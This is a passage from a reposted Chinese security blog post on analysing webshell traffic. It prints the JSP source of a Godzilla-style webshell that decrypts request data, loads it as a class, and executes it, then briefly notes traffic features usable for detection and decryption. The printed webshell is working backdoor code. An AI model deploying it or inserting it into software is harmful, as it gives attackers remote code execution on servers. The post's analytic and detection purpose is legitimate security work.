    String value = null;
    try {
        // 进行Base64加密
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder"null).invoke(base64, null);
        // 通过反射获取方法并且调用
        value = (String) Encoder.getClass().getMethod("encodeToString"new Class[] {
            byte[].class
        }).invoke(Encoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            // 通过反射查找BASE64Encoder类
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            // // 通过反射获取方法并且调用
            value = (String) Encoder.getClass().getMethod("encode"new Class[] {
                byte[].class
            }).invoke(Encoder, new Object[] {
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
// 解密函数
public static byte[] base64Decode(String bs) throws Exception {
    Class base64;
    byte[] value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder"null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode"new Class[] {
            String.class
        }).invoke(decoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer"new Class[] {
                String.class
            }).invoke(decoder, new Object[] {
                bs
            });
        } catch (Exception e2) {}
    }
    return value;

%> 
    <%
    try {
    // 解密接收到的数据
    byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
// 判断Payload是否存在,存在则执行
if (session.getAttribute("payload") == null) {
    session.setAttribute("payload"new X(this.getClass().getClassLoader()).Q(data));
else {
    request.setAttribute("parameters", data);
    java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
    Object f = ((Class) session.getAttribute("payload")).newInstance();
    f.equals(arrOut);
    f.equals(pageContext);
    // 截取md5加密后的前16位,并写入到response中
    response.getWriter().write(md5.substring(016));
    f.toString();
    response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
    response.getWriter().write(md5.substring(16));
}
catch (Exception e) {} 
%>

通过 抓包可以得到以下流量,可以发现其实和PHP的差不多,jsp还有一个强特征,那就是测试的这三条数据的大小为长短短

webshell流量分析

我们进入shell之后,随便抓取一条流量就可以拿到任意一个哥斯拉解密软件中,即可解密,如图:

webshell流量分析


原文始发于微信公众号(巢安实验室):webshell流量分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月26日12:32:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell流量分析http://cn-sec.com/archives/1834521.html

发表评论

匿名网友 填写信息